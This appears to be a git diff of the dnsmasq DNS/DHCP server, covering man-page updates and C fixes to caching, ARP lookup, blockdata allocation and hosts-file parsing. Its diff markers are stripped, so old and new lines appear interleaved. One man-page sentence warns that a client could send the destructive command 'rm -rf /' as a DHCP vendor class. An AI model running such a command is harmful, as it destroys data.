the default lease time is one hour for IPv4 and one day for IPv6. The
minimum lease time is two minutes. For IPv6 ranges, the lease time
minimum lease time is two minutes. An explicitly configured lease time also
affects IPv6 router advertisements: it acts as a ceiling on the advertised
prefix lifetimes. For constructed ranges it also acts as a floor, unless the
prefix is being deprecated. For IPv6 ranges, the lease time
maybe "deprecated"; this sets the preferred lifetime sent in a DHCP
lease or router advertisement to zero, which causes clients to use
other addresses, if available, for new connections as a prelude to renumbering.
@@ -1197,7 +1211,7 @@ the appropriate network part inserted. For IPv6, an address may include a prefix
which (in this case) specifies four addresses, 1234::50 to 1234::53. This (an the ability
to specify multiple addresses) is useful
when a host presents either a consistent name or hardware-ID, but varying DUIDs, since it allows
dnsmasq to honour the static address allocation but assign a different adddress for each DUID. This
dnsmasq to honour the static address allocation but assign a different address for each DUID. This
typically occurs when chain netbooting, as each stage of the chain gets in turn allocates an address.
Note that in IPv6 DHCP, the hardware address may not be
@@ -1324,7 +1338,7 @@ have exactly the same effect as
options containing the same information. /etc/ethers is re-read when
dnsmasq receives SIGHUP. IPv6 addresses are NOT read from /etc/ethers.
.TP
.B \-O, --dhcp-option=[tag:<tag>,[tag:<tag>,]][encap:<opt>,][vi-encap:<enterprise>,][vendor:[<vendor-class>],][<opt>|option:<opt-name>|option6:<opt>|option6:<opt-name>],[<value>[,<value>]]
.B \-O, --dhcp-option=[tag:<tag>,[tag:<tag>,]][encap:<opt>,][vi-encap:<enterprise>,][vendor:[<vendor-class>],][<opt>|option:<opt>|option:<opt-name>|option4:<opt>|option4:<optname>|option6:<opt>|option6:<opt-name>],[<value>[,<value>]]
Send various extra options to DHCP clients. By default,
dnsmasq sends some standard options to DHCP clients, the netmask and
broadcast address are set to the same as the host running dnsmasq, and
@@ -1343,11 +1357,18 @@ For example, to set the default route option to 192.168.4.4, use
and to set the time-server address to 192.168.0.4, use
\fB--dhcp-option=42,192.168.0.4\fP or
\fB--dhcp-option=option:ntp-server,192.168.0.4\fP.
The above examples are backwards compatible, for consistency with IPV6, the time-server example
may also be given as
\fB--dhcp-option=option:42,192.168.0.4\fP or
\fB--dhcp-option=option4:42,192.168.0.4\fP or
\fB--dhcp-option=option4:ntp-server,192.168.0.4\fP
The special address 0.0.0.0 means "the address of the system running dnsmasq".
An option without data is valid, and includes just the option without data.
(There is only one option with a zero length data field currently defined for DHCPv4, 80:rapid commit, so this feature is not very useful in practice). Options for which dnsmasq normally
provides default values can be ommitted by defining the option with no data. These are
provides default values can be omitted by defining the option with no data. These are
netmask, broadcast, router, DNS server, domainname and hostname. Thus, for DHCPv4
.B --dhcp-option = option:router
will result in no router option being sent, rather than the default of the host on which dnsmasq is running. For DHCPv6, the same is true of the options DNS server and refresh time.
@@ -1367,11 +1388,14 @@ described in RFC 3442.
IPv6 options are specified using the \fBoption6:\fP
keyword, followed by the option number or option name. The IPv6 option
name space is disjoint from the IPv4 option name space. IPv6 addresses
in options must be bracketed with square brackets, eg.
\fB --dhcp-option=option6:ntp-server,[1234::56]\fP.
in options must be bracketed with square brackets, eg. \fB --dhcp-option=option6:sntp-server,[1234::56]\fP or
--dhcp-option=option6:31,[1234::56].
For IPv6, [::] means "the global address of
the machine running dnsmasq", whilst [fd00::] is replaced with the
ULA, if it exists, and [fe80::] with the link-local address.
ULA, if it exists, and [fe80::] with the link-local address. The vendorclass option
is special for DHCPv6, since it requires an enterprise number which must appear as a decimal number
before the class(es). eg. \fB --dhcp-option=option6:vendor-class,343,HTTPClient\fP
Be careful: data-type suitability for the option number sent is not checked.
It is quite possible to persuade dnsmasq to generate illegal DHCP packets with
@@ -1487,9 +1511,33 @@ DHCPv4 to a DHCPv6 server or vice-versa.
The DHCP relay function for IPv6 includes the ability to snoop
prefix-delegation from relayed DHCP transactions. See
.B --dhcp-script
for details.
for details.
.TP
.B \-U, --dhcp-vendorclass=set:<tag>,[enterprise:<IANA-enterprise number>,]<vendor-class>
.B --dhcp-split-relay=<local address>,[<server address>[#<server port>]],<server-facing-interface>|<server-facing-address>
A usefully enhanced version of DHCPv4 relay. IPv4 DHCP normally uses a single address
for two functions; it is used by the DHCP server to determine which network to allocate
an address on, and it is used as the address of the relay to which the server sends packets.
This version of DHCP relay splits these functions. It uses the address of the server-facing relay
interface or a directly-specified address as the address that the server talks to. The address of the client-facing interface
(the first item in the config) is used as to determine the client's subnet. The
local address is also used as server-ID override so that the client always sends requests
via the relay. The effect of this is that server doesn't require
a route to the client network and the clients don't require a route to the server.
The third parameter is mandatory. If it is an interface name it cannot be a wildcard and the same filtering as described in
--dhcp-relay applies; answers from the server must arrve via the specified interface. If the third parameter
is an IP address it must be an address of a local interface which is routable from the server; In this case no filtering
is done, the reply packets can arrive via any route.
If setting up a network where the client networks have limited routing, be careful
about configuring the DHCP server. Dnsmasq, as DHCP server, will set the default route to the
client-facing relay interface unless explicitly configured: that is a sensible default.
The normal default DNS server (the same address as the DHCP server)
will not be appropriate when there is no route bewteen the
two, so this will have to be explicitly configured.
.TP
.B \-U, --dhcp-vendorclass=set:<tag>,[enterprise:<IANA-enterprise number>,][<vendor-class>]
Map from a vendor-class string to a tag. Most DHCP clients provide a
"vendor class" which represents, in some sense, the type of host. This option
maps vendor classes to tags, so that DHCP options may be selectively delivered
@@ -1503,9 +1551,11 @@ allow fuzzy matching. The set: prefix is optional but allowed for
consistency.
Note that in IPv6 only, vendorclasses are namespaced with an
IANA-allocated enterprise number. This is given with enterprise:
IANA-allocated enterprise number. This may be given with an enterprise:
keyword and specifies that only vendorclasses matching the specified
number should be searched.
number should be searched. Similarly, an enterprise number may be given
with no vendor-class string. This always matches vendorclasses with
the given enterprise number.
.TP
.B \-j, --dhcp-userclass=set:<tag>,<user-class>
Map from a user-class string to a tag (with substring
@@ -1648,7 +1698,7 @@ likely to move IP address; for this reason it should not be generally used.
.TP
.B --dhcp-ignore-clid
Dnsmasq is reading 'client identifier' (RFC 2131) option sent by clients
(if available) to identify clients. This allow to serve same IP address
(if available) to identify clients. This allow one to serve same IP address
for a host using several interfaces. Use this option to disable 'client identifier'
reading, i.e. to always identify a host using the MAC address.
.TP
@@ -1739,7 +1789,9 @@ For DHCPv4, it changes the behaviour from strict RFC compliance so that DHCP req
unknown leases from unknown hosts are not ignored. This allows new hosts
to get a lease without a tedious timeout under all circumstances. It also
allows dnsmasq to rebuild its lease database without each client needing to
reacquire a lease, if the database is lost. For DHCPv6 it sets the
reacquire a lease, if the database is lost. For DHCPv6 it controls the same
behaviour as DHCPv4 with missing leases (except for the RFC uncompliance - the
DHCPv6 RFCs allow this behaviour if configured). It also sets the
priority in replies to 255 (the maximum) instead of 0 (the minimum).
.TP
.B --dhcp-rapid-commit
@@ -1869,7 +1921,12 @@ DNSMASQ_CLIENT_ID if the host provided a client-id.
DNSMASQ_CIRCUIT_ID, DNSMASQ_SUBSCRIBER_ID, DNSMASQ_REMOTE_ID if a
DHCP relay-agent added any of these options.
DNSMASQ_CPEWAN_OUI, DNSMASQ_CPEWAN_SERIAL, DNSMASQ_CPEWAN_CLASS from
an RFC3925 Vendor-Identifying Vendor-Specific Information Option
containing the Broadband Forum enterprise number and options
defined in TR-069.
If the client provides vendor-class, DNSMASQ_VENDOR_CLASS.
For IPv6 only:
@@ -1892,7 +1949,17 @@ only supplied for
since these data are not held in dnsmasq's lease
database.
Please note that the environment options DNSMASQ_USER_CLASS0..DNSMASQ_USER_CLASSn,
DNSMASQ_VENDOR_CLASS0..DNSMASQ_VENDOR_CLASSn,
DNSMASQ_VENDOR_CLASS,
DNSMASQ_CIRCUIT_ID, DNSMASQ_SUBSCRIBER_ID, DNSMASQ_REMOTE_ID,
DNSMASQ_CPEWAN_OUI, DNSMASQ_CPEWAN_SERIAL, DNSMASQ_CPEWAN_CLASS,
DNSMASQ_MUD_URL all contain values which are derived directly from untrusted data recieved
from clients. Be very careful with quoting when using these values, lest an attacker sends
a vendor class of "rm -rf /". Note also that the RFCs defining these options tend to simply
define them an opaque data: the implication but not the letter of the definition is
printable strings. In practise, dnsmasq passes all octets except zero, which is treated
as a terminator.
All file descriptors are
closed except stdin, which is open to /dev/null, and stdout and stderr which capture output for logging by dnsmasq.
@@ -1927,7 +1994,7 @@ was sent, and the complete pathname of the file.
The "relay-snoop" action is invoked when dnsmasq is configured as a DHCP
relay for DHCPv6 and it relays a prefx delegation to a client. The arguments
are the name of the interface where the client is conected, its (link-local)
are the name of the interface where the client is connected, its (link-local)
address on that interface and the delegated prefix. This information is
sufficient to install routes to the delegated prefix of a router. See
.B --dhcp-relay
@@ -2278,7 +2345,7 @@ therein is updated when dnsmasq receives SIGHUP.
.B \--conf-script=<file>[ <arg]
Execute <file>, and treat what it emits to stdout as the contents of a configuration file.
If the script exits with a non-zero exit code, dnsmasq treats this as a fatal error.
The script can be passed arguments, space seperated from the filename and each other so, for instance
The script can be passed arguments, space separated from the filename and each other so, for instance
.B --conf-dir="/etc/dnsmasq-uncompress-ads /share/ads-domains.gz"
with /etc/dnsmasq-uncompress-ads containing
@@ -2671,7 +2738,7 @@ IPv4 and IPv6 addresses from /etc/hosts (and
and
.B --interface-name
and
.B ---dynamic-host
.B --dynamic-host
provided the address falls into one of the subnets specified in the
.B --auth-zone.
.PP
+2870
View File
File diff suppressed because it is too large. Load diff
+784 -593
View File
File diff suppressed because it is too large. Load diff
+780 -588
View File
File diff suppressed because it is too large. Load diff
+885 -704
View File
File diff suppressed because it is too large. Load diff
+784 -588
View File
File diff suppressed because it is too large. Load diff
+793 -588
View File
File diff suppressed because it is too large. Load diff
+885 -704
View File
File diff suppressed because it is too large. Load diff
+793 -587
View File
File diff suppressed because it is too large. Load diff
+779 -588
View File
File diff suppressed because it is too large. Load diff
+785 -588
View File
File diff suppressed because it is too large. Load diff
+885 -704
View File
File diff suppressed because it is too large. Load diff
+779 -588
View File
File diff suppressed because it is too large. Load diff
+2979
View File
File diff suppressed because it is too large. Load diff
+2
View File
@@ -229,3 +229,5 @@ contents of the cache to the syslog.
<P>For a complete listing of options please take a look at the manpage
dnsmasq(8).
</BODY>
</HTML>
+14 -6
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -111,22 +111,26 @@ int find_mac(union mysockaddr *addr, unsigned char *mac, int lazy, time_t now)
again:
/* If the database is less then INTERVAL old, look in there */
if (difftime(now, last) < INTERVAL)
/* If the database is less then INTERVAL old, look in there.
If we're a child process, we always rely on the existing cache we
inherited from the parent, since we don't have a netlink socket.
*/
if (difftime(now, last) < INTERVAL || daemon->pipe_to_parent != -1)
{
/* addr == NULL -> just make cache up-to-date */
if (!addr)
return 0;
for (arp = arps; arp; arp = arp->next)
{
if (addr->sa.sa_family != arp->family)
continue;
if (arp->family == AF_INET &&
arp->addr.addr4.s_addr != addr->in.sin_addr.s_addr)
continue;
if (arp->family == AF_INET6 &&
!IN6_ARE_ADDR_EQUAL(&arp->addr.addr6, &addr->in6.sin6_addr))
continue;
@@ -141,6 +145,10 @@ int find_mac(union mysockaddr *addr, unsigned char *mac, int lazy, time_t now)
}
}
/* Not in cache in child, no go. */
if (daemon->pipe_to_parent != -1)
return 0;
/* Not found, try the kernel */
if (!updated)
{
+8 -8
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -591,7 +591,7 @@ size_t answer_auth(struct dns_header *header, char *limit, size_t qlen, time_t n
if (auth && zone)
{
char *authname;
int newoffset, offset = 0;
int newoffset = ansp - (unsigned char *)header, offset = 0;
if (!subnet)
authname = zone->domain;
@@ -631,8 +631,7 @@ size_t answer_auth(struct dns_header *header, char *limit, size_t qlen, time_t n
}
/* handle NS and SOA in auth section or for explicit queries */
newoffset = ansp - (unsigned char *)header;
if (((anscount == 0 && !ns) || soa) &&
if (((anscount == 0 && !ns) || soa) &&
add_resource_record(header, limit, &trunc, 0, &ansp,
daemon->auth_ttl, NULL, T_SOA, C_IN, "ddlllll",
authname, daemon->authserver, daemon->hostmaster,
@@ -650,11 +649,10 @@ size_t answer_auth(struct dns_header *header, char *limit, size_t qlen, time_t n
if (anscount != 0 || ns)
{
struct name_list *secondary;
/* Only include the machine running dnsmasq if it's acting as an auth server */
if (daemon->authinterface)
{
newoffset = ansp - (unsigned char *)header;
if (add_resource_record(header, limit, &trunc, -offset, &ansp,
daemon->auth_ttl, NULL, T_NS, C_IN, "d", offset == 0 ? authname : NULL, daemon->authserver))
{
@@ -669,9 +667,11 @@ size_t answer_auth(struct dns_header *header, char *limit, size_t qlen, time_t n
if (!subnet)
for (secondary = daemon->secondary_forward_server; secondary; secondary = secondary->next)
if (add_resource_record(header, limit, &trunc, offset, &ansp,
daemon->auth_ttl, NULL, T_NS, C_IN, "d", secondary->name))
if (add_resource_record(header, limit, &trunc, -offset, &ansp,
daemon->auth_ttl, NULL, T_NS, C_IN, "d", offset == 0 ? authname : NULL, secondary->name))
{
if (offset == 0)
offset = newoffset;
if (ns)
anscount++;
else
+70 -39
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -16,7 +16,9 @@
#include "dnsmasq.h"
static struct blockdata *keyblock_free;
static struct blockdata *new_block(void);
static struct blockdata *keyblock_free, *fallback;
static unsigned int blockdata_count, blockdata_hwm, blockdata_alloced;
static void add_blocks(int n)
@@ -48,7 +50,11 @@ void blockdata_init(void)
/* Note that daemon->cachesize is enforced to have non-zero size if OPT_DNSSEC_VALID is set */
if (option_bool(OPT_DNSSEC_VALID))
add_blocks(daemon->cachesize);
}
/* make sure we have one block to fall back on. */
if (!(fallback = new_block()))
die(_("Blockdata init: no memory"), NULL, EC_MISC);
}
void blockdata_report(void)
{
@@ -84,36 +90,52 @@ static struct blockdata *blockdata_alloc_real(int fd, char *data, size_t len)
struct blockdata *block, *ret = NULL;
struct blockdata **prev = &ret;
size_t blen;
int fail;
do
{
if (!(block = new_block()))
{
/* failed to alloc, free partial chain */
blockdata_free(ret);
return NULL;
}
if ((blen = len > KEYBLOCK_LEN ? KEYBLOCK_LEN : len) > 0)
{
if (data)
{
memcpy(block->key, data, blen);
data += blen;
}
else if (!read_write(fd, block->key, blen, RW_READ))
{
/* failed read free partial chain */
blockdata_free(ret);
return NULL;
}
}
len -= blen;
*prev = block;
prev = &block->next;
} while (len != 0);
/* Zero length still gives one empty block, blockdata_alloc(NULL, 0)
is how callers start a chain to add to with blockdata_expand(). */
if (len == 0)
return new_block();
for (fail = 0; len != 0; len -= blen)
{
blen = len > KEYBLOCK_LEN ? KEYBLOCK_LEN : len;
if (!fail)
{
if ((block = new_block()))
{
*prev = block;
prev = &block->next;
}
else
{
/* Failed to alloc, use the pre-allocated fall-back.
This allows us to always read the specified amount of data from the fd. */
fail = 1;
block = fallback;
}
}
if (data)
{
memcpy(block->key, data, blen);
data += blen;
}
else if (!read_write(fd, block->key, blen, RW_READ))
{
fail = 1;
break;
}
}
if (fail)
{
/* failed, free partial chain */
blockdata_free(ret);
return NULL;
}
return ret;
}
@@ -132,7 +154,7 @@ int blockdata_expand(struct blockdata *block, size_t oldlen, char *data, size_t
/* find size of current final block */
for (b = block; oldlen > KEYBLOCK_LEN && b; b = b->next, oldlen -= KEYBLOCK_LEN);
/* chain to short for length, something is broken */
/* chain too short for length, something is broken */
if (oldlen > KEYBLOCK_LEN)
{
blockdata_free(block);
@@ -193,20 +215,22 @@ void *blockdata_retrieve(struct blockdata *block, size_t len, void *data)
{
size_t blen;
struct blockdata *b;
uint8_t *new, *d;
uint8_t *d;
static unsigned int buff_len = 0;
static unsigned char *buff = NULL;
if (!data)
{
static unsigned int buff_len = 0;
static unsigned char *buff = NULL;
uint8_t *new;
if (len > buff_len)
{
if (!(new = whine_malloc(len)))
blen = len + 1024;
if (!(new = whine_realloc(buff, blen)))
return NULL;
if (buff)
free(buff);
buff = new;
buff_len = blen;
}
data = buff;
}
@@ -233,6 +257,13 @@ void blockdata_write(struct blockdata *block, size_t len, int fd)
}
}
/* NOTE: this can fail (NULL return) for two possible reasons.
1) end of stream.
2) malloc failure when allocating blocks.
Unless EOF is encountered, len octets will always be read from the stream,
even in memory allocation fails.
*/
struct blockdata *blockdata_read(int fd, size_t len)
{
return blockdata_alloc_real(fd, NULL, len);
+41 -15
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -47,24 +47,20 @@ static union all_addr del_addr;
#if defined(HAVE_BSD_NETWORK) && !defined(__APPLE__)
int arp_enumerate(void *parm, callback_t callback)
static int arp_enumerate_family(int family, void *parm, callback_t callback)
{
int mib[6];
size_t needed;
char *next;
struct rt_msghdr *rtm;
struct sockaddr_inarp *sin2;
struct sockaddr_dl *sdl;
struct iovec buff;
static struct iovec buff = { NULL, 0 };
int rc;
buff.iov_base = NULL;
buff.iov_len = 0;
mib[0] = CTL_NET;
mib[1] = PF_ROUTE;
mib[2] = 0;
mib[3] = AF_INET;
mib[3] = family;
mib[4] = NET_RT_FLAGS;
#ifdef RTF_LLINFO
mib[5] = RTF_LLINFO;
@@ -72,8 +68,8 @@ int arp_enumerate(void *parm, callback_t callback)
mib[5] = 0;
#endif
if (sysctl(mib, 6, NULL, &needed, NULL, 0) == -1 || needed == 0)
return 0;
return 1; /* not a failure: unsupported or empty table */
while (1)
{
if (!expand_buf(&buff, needed))
@@ -83,20 +79,50 @@ int arp_enumerate(void *parm, callback_t callback)
break;
needed += needed / 8;
}
if (rc == -1)
return 0;
for (next = buff.iov_base ; next < (char *)buff.iov_base + needed; next += rtm->rtm_msglen)
{
rtm = (struct rt_msghdr *)next;
sin2 = (struct sockaddr_inarp *)(rtm + 1);
sdl = (struct sockaddr_dl *)((char *)sin2 + SA_SIZE(sin2));
if (!callback.af_unspec(AF_INET, &sin2->sin_addr, LLADDR(sdl), sdl->sdl_alen, parm))
return 0;
if (family == AF_INET)
{
struct sockaddr_inarp *sin2 = (struct sockaddr_inarp *)(rtm + 1);
sdl = (struct sockaddr_dl *)((char *)sin2 + SA_SIZE(sin2));
if (!callback.af_unspec(AF_INET, &sin2->sin_addr,
LLADDR(sdl), sdl->sdl_alen, parm))
return 0;
}
else
{
struct sockaddr_in6 *sin6 = (struct sockaddr_in6 *)(rtm + 1);
sdl = (struct sockaddr_dl *)((char *)sin6 + SA_SIZE(sin6));
if (IN6_IS_ADDR_LINKLOCAL(&sin6->sin6_addr))
{
/* PF_ROUTE sysctl returns raw kernel structures with the interface
index embedded in bytes 2-3 of link-local addresses. Extract it
into sin6_scope_id per the KAME API contract before clearing. */
sin6->sin6_scope_id =
((uint32_t)(sin6->sin6_addr.s6_addr[2]) << 8) | sin6->sin6_addr.s6_addr[3];
sin6->sin6_addr.s6_addr[2] = 0;
sin6->sin6_addr.s6_addr[3] = 0;
}
if (!callback.af_unspec(AF_INET6, &sin6->sin6_addr,
LLADDR(sdl), sdl->sdl_alen, parm))
return 0;
}
}
return 1;
}
static int arp_enumerate(void *parm, callback_t callback)
{
if (!arp_enumerate_family(AF_INET, parm, callback))
return 0;
return arp_enumerate_family(AF_INET6, parm, callback);
}
#endif /* defined(HAVE_BSD_NETWORK) && !defined(__APPLE__) */
+252 -142
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -17,14 +17,18 @@
#include "dnsmasq.h"
static struct crec *cache_head = NULL, *cache_tail = NULL, **hash_table = NULL;
#ifdef HAVE_DHCP
static struct crec *dhcp_spare = NULL;
#endif
static struct crec *config_spare = NULL;
static struct crec *new_chain = NULL;
static int insert_error;
static union bigname *big_free = NULL;
static int bignames_left, hash_size;
struct nameblock {
struct nameblock *next;
unsigned int last, index;
char data[NAMEBLOCK_CHARS];
} *hostblocks = NULL;
static void make_non_terminals(struct crec *source);
static struct crec *really_insert(char *name, union all_addr *addr, unsigned short class,
time_t now, unsigned long ttl, unsigned int flags);
@@ -192,6 +196,86 @@ void cache_init(void)
rehash(daemon->cachesize);
}
static struct crec *get_config_crec(void)
{
struct crec *ret;
if (config_spare)
{
ret = config_spare;
config_spare = config_spare->next;
}
else
ret = whine_malloc(SIZEOF_POINTER_CREC);
return ret;
}
static void free_config_crec(struct crec *p)
{
p->next = config_spare;
config_spare = p;
}
static struct nameblock *nameblock_spare = NULL;
static char *store_name(unsigned int namelen, unsigned int index)
{
struct nameblock *block;
char *ret = NULL;
int i;
if (namelen > NAMEBLOCK_CHARS)
return NULL;
/* Check the first few blocks for possible space. This allows efficient memory usage
without blowing up O(n^2) CPU usage which the linked list gets long. */
for (i = 10, block = hostblocks; i != 0 && block; block = block->next, i--)
if (block->index == index && NAMEBLOCK_CHARS - block->last >= namelen)
{
ret = &block->data[block->last];
block->last += namelen;
return ret;
}
if (nameblock_spare)
{
block = nameblock_spare;
nameblock_spare = nameblock_spare->next;
}
else
block = whine_malloc(sizeof(struct nameblock));
if (block)
{
block->next = hostblocks;
block->index = index;
block->last = namelen;
hostblocks = block;
ret = &block->data[0];
}
return ret;
}
static void free_names(unsigned int index)
{
struct nameblock *block, *tmp, **up;
for (up = &hostblocks, block = hostblocks; block; block = tmp)
{
tmp = block->next;
if (index == UID_NONE || block->index == index)
{
*up = tmp;
block->next = nameblock_spare;
nameblock_spare = block;
}
else
up = &block->next;
}
}
/* In most cases, we create the hash table once here by calling this with (hash_table == NULL)
but if the hosts file(s) are big (some people have 50000 ad-block entries), the table
will be much too small, so the hosts reading code calls rehash every 1000 addresses, to
@@ -441,12 +525,14 @@ unsigned int cache_remove_uid(const unsigned int uid)
if ((crecp->flags & (F_HOSTS | F_DHCP | F_CONFIG)) && crecp->uid == uid)
{
*up = tmp;
free(crecp);
free_config_crec(crecp);
removed++;
}
else
up = &crecp->hash_next;
}
free_names(uid);
return removed;
}
@@ -855,7 +941,7 @@ void cache_end_insert(void)
#ifdef HAVE_DNSSEC
void cache_update_hwm(void)
{
/* Sneak out possibly updated crypto HWM values. */
/* Sneak out possibly updated crypto HWM values. */
unsigned char op = PIPE_OP_STATS;
read_write(daemon->pipe_to_parent, &op, sizeof(op), RW_WRITE);
@@ -938,15 +1024,14 @@ int cache_recv_insert(time_t now, int fd)
if (newc)
{
newc->addr.cname.is_name_ptr = 0;
newc->addr.cname.target.cache = crecp;
if (!crecp)
newc->addr.cname.target.cache = NULL;
else
if (crecp)
{
next_uid(crecp);
newc->addr.cname.target.cache = crecp;
newc->addr.cname.uid = crecp->uid;
}
crecp = newc;
}
}
else
@@ -954,9 +1039,18 @@ int cache_recv_insert(time_t now, int fd)
unsigned short class = C_IN;
struct blockdata *block = NULL;
if ((flags & F_RR) && !(flags & F_NEG) && (flags & F_KEYTAG)
&& !(block = addr.rrblock.rrdata = blockdata_read(fd, addr.rrblock.datalen)))
continue;
/* Note that blockdata_read() can return NULL either
because the stream ended, OR memory allocation failed.
We continue here rather than returning 0 to finish draining
the pipe in the second case. If the stream ended, the read
of the next length at the top of the loop will fail
and we'll return 0 there. */
if (flags & F_RR)
{
if (!(flags & F_NEG) && (flags & F_KEYTAG) &&
!(block = addr.rrblock.rrdata = blockdata_read(fd, addr.rrblock.datalen)))
continue;
}
#ifdef HAVE_DNSSEC
else if (flags & F_DNSKEY)
{
@@ -1001,6 +1095,7 @@ int cache_recv_insert(time_t now, int fd)
}
case PIPE_OP_RESULT:
case PIPE_OP_KILLED:
{
/* UDP validation moved to TCP to avoid truncation.
Restart UDP validation process with the returned result. */
@@ -1014,21 +1109,32 @@ int cache_recv_insert(time_t now, int fd)
!read_write(fd, (unsigned char *)&ret_len, sizeof(ret_len), RW_READ) ||
!read_write(fd, (unsigned char *)daemon->packet, ret_len, RW_READ) ||
!read_write(fd, (unsigned char *)&forward, sizeof(forward), RW_READ) ||
!read_write(fd, (unsigned char *)&uid, sizeof(uid), RW_READ) ||
!read_write(fd, (unsigned char *)&keycount, sizeof(keycount), RW_READ) ||
!read_write(fd, (unsigned char *)&keycountp, sizeof(keycountp), RW_READ) ||
!read_write(fd, (unsigned char *)&validatecount, sizeof(validatecount), RW_READ) ||
!read_write(fd, (unsigned char *)&validatecountp, sizeof(validatecountp), RW_READ))
!read_write(fd, (unsigned char *)&uid, sizeof(uid), RW_READ))
return 0;
if (op == PIPE_OP_RESULT &&
(!read_write(fd, (unsigned char *)&keycount, sizeof(keycount), RW_READ) ||
!read_write(fd, (unsigned char *)&keycountp, sizeof(keycountp), RW_READ) ||
!read_write(fd, (unsigned char *)&validatecount, sizeof(validatecount), RW_READ) ||
!read_write(fd, (unsigned char *)&validatecountp, sizeof(validatecountp), RW_READ)))
return 0;
if (op == PIPE_OP_KILLED)
my_syslog(LOG_INFO, _("TCP process for DNSSEC validation timed out"));
/* There's a tiny chance that the frec may have been freed
and reused before the TCP process returns. Detect that with
the uid field which is unique modulo 2^32 for each use. */
if (uid == forward->uid)
/* There's a chance that the frec may have timed-out and been
freed before the TCP process returns, so check that the
frec is still marked in use. Even if it is in use, there's a tiny chance
that the frec may have been freed and _reused_ before the TCP process returns.
Detect that with the uid field which is unique modulo 2^32 for each use. */
if (forward->sentto && uid == forward->uid)
{
/* repatriate the work counters from the child process. */
*keycountp = keycount;
*validatecountp = validatecount;
if (op == PIPE_OP_RESULT)
{
/* repatriate the work counters from the child process. */
*keycountp = keycount;
*validatecountp = validatecount;
}
if (!forward->dependent)
return_reply(now, forward, (struct dns_header *)daemon->packet, ret_len, status);
@@ -1255,7 +1361,7 @@ static void add_hosts_entry(struct crec *cache, union all_addr *addr, int addrle
while ((lookup = cache_find_by_name(lookup, cache_get_name(cache), 0, cache->flags & (F_IPV4 | F_IPV6))))
if ((lookup->flags & F_HOSTS) && memcmp(&lookup->addr, addr, addrlen) == 0)
{
free(cache);
free_config_crec(cache);
return;
}
@@ -1334,9 +1440,10 @@ static int eatspace(FILE *f)
}
}
static int gettok(FILE *f, char *token)
static int gettok(FILE *f, char *token, size_t buffsz)
{
int c, count = 0;
int c;
unsigned int count = 0;
while (1)
{
@@ -1349,7 +1456,7 @@ static int gettok(FILE *f, char *token)
return eatspace(f);
}
if (count < (MAXDNAME - 1))
if (count < (buffsz - 1))
{
token[count++] = c;
token[count] = 0;
@@ -1374,17 +1481,17 @@ int read_hostsfile(char *filename, unsigned int index, int cache_size, struct cr
lineno += eatspace(f);
while ((atnl = gettok(f, token)) != -1)
while ((atnl = gettok(f, token, MAXDNAMESTR)) != -1)
{
if (inet_pton(AF_INET, token, &addr) > 0)
{
flags = F_HOSTS | F_IMMORTAL | F_FORWARD | F_REVERSE | F_IPV4;
flags = F_NAMEP | F_HOSTS | F_IMMORTAL | F_FORWARD | F_REVERSE | F_IPV4;
addrlen = INADDRSZ;
domain_suffix = get_domain(addr.addr4);
}
else if (inet_pton(AF_INET6, token, &addr) > 0)
{
flags = F_HOSTS | F_IMMORTAL | F_FORWARD | F_REVERSE | F_IPV6;
flags = F_NAMEP | F_HOSTS | F_IMMORTAL | F_FORWARD | F_REVERSE | F_IPV6;
addrlen = IN6ADDRSZ;
domain_suffix = get_domain6(&addr.addr6);
}
@@ -1392,7 +1499,7 @@ int read_hostsfile(char *filename, unsigned int index, int cache_size, struct cr
{
my_syslog(LOG_ERR, _("bad address at %s line %d"), filename, lineno);
while (atnl == 0)
atnl = gettok(f, token);
atnl = gettok(f, token, MAXDNAMESTR);
lineno += atnl;
continue;
}
@@ -1410,7 +1517,7 @@ int read_hostsfile(char *filename, unsigned int index, int cache_size, struct cr
int fqdn, nomem;
char *canon;
if ((atnl = gettok(f, token)) == -1)
if ((atnl = gettok(f, token, MAXDNAMESTR)) == -1)
break;
fqdn = !!strchr(token, '.');
@@ -1418,27 +1525,37 @@ int read_hostsfile(char *filename, unsigned int index, int cache_size, struct cr
if ((canon = canonicalise(token, &nomem)))
{
/* If set, add a version of the name with a default domain appended */
if (option_bool(OPT_EXPAND) && domain_suffix && !fqdn &&
(cache = whine_malloc(SIZEOF_BARE_CREC + strlen(canon) + 2 + strlen(domain_suffix))))
if (option_bool(OPT_EXPAND) && domain_suffix && !fqdn && (cache = get_config_crec()))
{
strcpy(cache->name.sname, canon);
strcat(cache->name.sname, ".");
strcat(cache->name.sname, domain_suffix);
cache->flags = flags;
cache->ttd = daemon->local_ttl;
add_hosts_entry(cache, &addr, addrlen, index, rhash, hashsz);
name_count++;
names_done++;
if (!(cache->name.namep = store_name(strlen(canon) + 2 + strlen(domain_suffix), index)))
free_config_crec(cache);
else
{
strcpy(cache->name.namep, canon);
strcat(cache->name.namep, ".");
strcat(cache->name.namep, domain_suffix);
cache->flags = flags;
cache->ttd = daemon->local_ttl;
add_hosts_entry(cache, &addr, addrlen, index, rhash, hashsz);
name_count++;
names_done++;
}
}
if ((cache = whine_malloc(SIZEOF_BARE_CREC + strlen(canon) + 1)))
if ((cache = get_config_crec()))
{
strcpy(cache->name.sname, canon);
cache->flags = flags;
cache->ttd = daemon->local_ttl;
add_hosts_entry(cache, &addr, addrlen, index, rhash, hashsz);
name_count++;
names_done++;
if (!(cache->name.namep = store_name(strlen(canon) + 1, index)))
free_config_crec(cache);
else
{
strcpy(cache->name.namep, canon);
